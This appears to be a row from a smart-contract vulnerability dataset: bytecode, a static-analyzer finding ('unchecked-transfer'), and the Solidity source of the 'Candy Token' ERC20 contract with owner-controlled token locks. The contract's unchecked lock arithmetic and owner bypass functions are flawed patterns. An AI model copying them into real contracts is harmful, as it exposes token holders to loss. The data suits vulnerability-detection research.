00000000000000000000000060abc5c081565b7f000000000000000000000000de30da39c46104798bb5aa3fe8b9e0e1f348163f81565b7f0000000000000000000000000000000000000000000000000000000060abc5c181565b6000826104c25750600061050f565b828202828482816104cf57fe5b041461050c5760405162461bcd60e51b815260040180806020018281038252602181526020018061061f6021913960400191505060405180910390fd5b90505b92915050565b600061050c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836105de5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156105a357818101518382015260200161058b565b50505050905090810190601f1680156105d05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816105ea57fe5b049594505050505056fe54726561737572795665737465723a3a736574526563697069656e743a20756e617574686f72697a6564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7754726561737572795665737465723a3a636c61696d3a206e6f742074696d6520796574a26469706673582212201ed4f73100f4709b9b192d1e2abc5bd6ee6c6d21bec38b042005e2171ba5065064736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 7,715 |
0x6e5dce687b949b52dad8bb1cc467d0205cb4b6e3
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
/*
先发30%,3个月解锁30%,6个月解锁40%
*/
contract CAC is StandardToken, BurnableToken, Ownable {
// Constants
string public constant name = "Candy Token";
string public constant symbol = "CAC";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 50000000000 * (10 ** uint256(decimals));
mapping(address => uint256) public balanceLocked; //地址 - 锁定代币数量
mapping(address => uint256) public lockAtTime; //地址 - 锁定起始时间点
uint public amountRaised;
uint256 public buyPrice = 250000;
bool public crowdsaleClosed;
bool public transferEnabled = true;
function CAC() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function _lock(address _owner) internal {
balanceLocked[_owner] = balances[_owner];
lockAtTime[_owner] = now;
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
_lock(_to);
Transfer(_from, _to, _value);
}
function setPrices(bool closebuy, uint256 newBuyPrice) onlyOwner public {
crowdsaleClosed = closebuy;
buyPrice = newBuyPrice;
}
function () external payable {
require(!crowdsaleClosed);
uint amount = msg.value ; // calculates the amount
amountRaised = amountRaised.add(amount);
_transfer(owner, msg.sender, amount.mul(buyPrice));
}
//取回eth, 参数设为0 则全部取回, 否则取回指定数量的eth
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
/* Batch token transfer. Used by contract creator to distribute initial tokens to holders */
function batchTransfer(address[] _recipients, uint[] _values) onlyOwner public returns (bool) {
require( _recipients.length > 0 && _recipients.length == _values.length);
uint total = 0;
for(uint i = 0; i < _values.length; i++){
total = total.add(_values[i]);
}
require(total <= balances[msg.sender]);
for(uint j = 0; j < _recipients.length; j++){
balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]);
Transfer(msg.sender, _recipients[j], _values[j]);
}
balances[msg.sender] = balances[msg.sender].sub(total);
return true;
}
function enableTransfer(bool _enable) onlyOwner external {
transferEnabled = _enable;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(transferEnabled);
require(checkLocked(_from, _value));
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(transferEnabled);
require(checkLocked(msg.sender, _value));
return super.transfer(_to, _value);
}
//通过本函数发币, 不会被锁定
function transferEx(address _to, uint256 _value) onlyOwner public returns (bool) {
return super.transfer(_to, _value);
}
// 传入要锁定的地址, 锁定数量为地址当前拥有的数量
//流程:
//ICO 完成后, 调用此函数设置锁定地址, 然后调用 enableTransfer 函数允许转token
function lockAddress( address[] _addr ) onlyOwner external {
for (uint i = 0; i < _addr.length; i++) {
_lock(_addr[i]);
}
}
// 解锁地址
function unlockAddress( address[] _addr ) onlyOwner external {
for (uint i = 0; i < _addr.length; i++) {
balanceLocked[_addr[i]] = 0;
}
}
// 传入地址, 返回当前可转币的数量
function getFreeBalances( address _addr ) public view returns(uint) {
if (balanceLocked[_addr] > 0) {
if (now > lockAtTime[_addr] + 180 days) {
return balances[_addr];
} else if (now > lockAtTime[_addr] + 90 days) {
return balances[_addr] - balanceLocked[_addr] / 10 * 4;
} else {
return balances[_addr] - balanceLocked[_addr] / 10 * 7 ;
}
}
return balances[_addr];
}
function checkLocked(address _addr, uint256 _value) internal view returns (bool) {
if (balanceLocked[_addr] > 0) { //address is locked
if (now > lockAtTime[_addr] + 180 days) {
return true;
} else if (now > lockAtTime[_addr] + 90 days) {
return (balances[_addr] - _value >= balanceLocked[_addr] / 10 * 4);
} else {
return (balances[_addr] - _value >= balanceLocked[_addr] / 10 * 7 );
}
}
return true;
}
}
|
0x606060405260043610610175576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630604c594146101f557806306fdde0314610242578063095ea7b3146102d05780630b6521ec1461032a57806318160ddd1461037757806323b872dd146103a05780632ff2e9dc14610419578063313ce567146104425780633604caa11461047157806342966c681461049f5780634cd412d5146104c25780635f56b6fe146104ef5780635fc3a31214610512578063661884631461055f57806370a08231146105b95780637b3e5e7b146106065780638620410b1461062f57806388d695b2146106585780638da5cb5b1461070a57806395d89b411461075f5780639fe802f1146107ed578063a9059cbb14610847578063c974947d146108a1578063ccb07cef146108cf578063d6bc1b39146108fc578063d73dd6231461092a578063dd62ed3e14610984578063ef7ac0e5146109f0578063f2fde38b14610a15575b6000600860009054906101000a900460ff1615151561019357600080fd5b3490506101ab81600654610a4e90919063ffffffff16565b6006819055506101f2600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16336101ed60075485610a6c90919063ffffffff16565b610aa7565b50005b341561020057600080fd5b61022c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d19565b6040518082815260200191505060405180910390f35b341561024d57600080fd5b610255610fb3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561029557808201518184015260208101905061027a565b50505050905090810190601f1680156102c25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102db57600080fd5b610310600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fec565b604051808215151515815260200191505060405180910390f35b341561033557600080fd5b610361600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110de565b6040518082815260200191505060405180910390f35b341561038257600080fd5b61038a6110f6565b6040518082815260200191505060405180910390f35b34156103ab57600080fd5b6103ff600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611100565b604051808215151515815260200191505060405180910390f35b341561042457600080fd5b61042c611146565b6040518082815260200191505060405180910390f35b341561044d57600080fd5b610455611158565b604051808260ff1660ff16815260200191505060405180910390f35b341561047c57600080fd5b61049d6004808035906020019082018035906020019190919290505061115d565b005b34156104aa57600080fd5b6104c06004808035906020019091905050611210565b005b34156104cd57600080fd5b6104d56113c8565b604051808215151515815260200191505060405180910390f35b34156104fa57600080fd5b61051060048080359060200190919050506113db565b005b341561051d57600080fd5b610549600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611524565b6040518082815260200191505060405180910390f35b341561056a57600080fd5b61059f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061153c565b604051808215151515815260200191505060405180910390f35b34156105c457600080fd5b6105f0600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117cd565b6040518082815260200191505060405180910390f35b341561061157600080fd5b610619611815565b6040518082815260200191505060405180910390f35b341561063a57600080fd5b61064261181b565b6040518082815260200191505060405180910390f35b341561066357600080fd5b6106f060048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611821565b604051808215151515815260200191505060405180910390f35b341561071557600080fd5b61071d611b5e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561076a57600080fd5b610772611b84565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107b2578082015181840152602081019050610797565b50505050905090810190601f1680156107df5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156107f857600080fd5b61082d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611bbd565b604051808215151515815260200191505060405180910390f35b341561085257600080fd5b610887600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611c2d565b604051808215151515815260200191505060405180910390f35b34156108ac57600080fd5b6108cd60048080359060200190820180359060200191909192905050611c71565b005b34156108da57600080fd5b6108e2611d60565b604051808215151515815260200191505060405180910390f35b341561090757600080fd5b61092860048080351515906020019091908035906020019091905050611d73565b005b341561093557600080fd5b61096a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611df4565b604051808215151515815260200191505060405180910390f35b341561098f57600080fd5b6109da600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ff0565b6040518082815260200191505060405180910390f35b34156109fb57600080fd5b610a1360048080351515906020019091905050612077565b005b3415610a2057600080fd5b610a4c600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506120f0565b005b6000808284019050838110151515610a6257fe5b8091505092915050565b6000806000841415610a815760009150610aa0565b8284029050828482811515610a9257fe5b04141515610a9c57fe5b8091505b5092915050565b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610af457600080fd5b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515610b8057600080fd5b610bd1816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c64816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a4e90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610caf82612261565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610f6c5762ed4e00600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421115610df4576000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610fae565b6276a700600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421115610ed6576004600a600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811515610e8d57fe5b04026000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054039050610fae565b6007600a600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811515610f2357fe5b04026000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054039050610fae565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b6040805190810160405280600b81526020017f43616e647920546f6b656e00000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60056020528060005260406000206000915090505481565b6000600154905090565b6000600860019054906101000a900460ff16151561111d57600080fd5b611127848361232a565b151561113257600080fd5b61113d848484612551565b90509392505050565b601260ff16600a0a640ba43b74000281565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111bb57600080fd5b600090505b8282905081101561120b576111fe83838381811015156111dc57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16612261565b80806001019150506111c0565b505050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561125f57600080fd5b3390506112b3826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224890919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061130a8260015461224890919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600860019054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561143757600080fd5b60008114156114be57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015156114b957600080fd5b611521565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561152057600080fd5b5b50565b60046020528060005260406000206000915090505481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561164d576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116e1565b611660838261224890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60065481565b60075481565b600080600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561188357600080fd5b60008651118015611895575084518651145b15156118a057600080fd5b60009250600091505b84518210156118eb576118dc85838151811015156118c357fe5b9060200190602002015184610a4e90919063ffffffff16565b925081806001019250506118a9565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561193857600080fd5b600090505b8551811015611abe576119c5858281518110151561195757fe5b90602001906020020151600080898581518110151561197257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a4e90919063ffffffff16565b60008088848151811015156119d657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508581815181101515611a2c57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8784815181101515611a9257fe5b906020019060200201516040518082815260200191505060405180910390a3808060010191505061193d565b611b0f836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224890919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001935050505092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f434143000000000000000000000000000000000000000000000000000000000081525081565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c1b57600080fd5b611c25838361290b565b905092915050565b6000600860019054906101000a900460ff161515611c4a57600080fd5b611c54338361232a565b1515611c5f57600080fd5b611c69838361290b565b905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ccf57600080fd5b600090505b82829050811015611d5b576000600460008585858181101515611cf357fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080600101915050611cd4565b505050565b600860009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611dcf57600080fd5b81600860006101000a81548160ff021916908315150217905550806007819055505050565b6000611e8582600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a4e90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120d357600080fd5b80600860016101000a81548160ff02191690831515021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561214c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561218857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561225657fe5b818303905092915050565b6000808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600080600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156125465762ed4e00600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054014211156123c8576001905061254b565b6276a700600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054014211156124ad576004600a600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481151561246157fe5b0402826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054031015905061254b565b6007600a600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548115156124fa57fe5b0402826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054031015905061254b565b600190505b92915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561258e57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156125db57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561266657600080fd5b6126b7826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224890919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061274a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a4e90919063ffffffff16565b6000808573fffffffffffffffffffffffffffffffffffff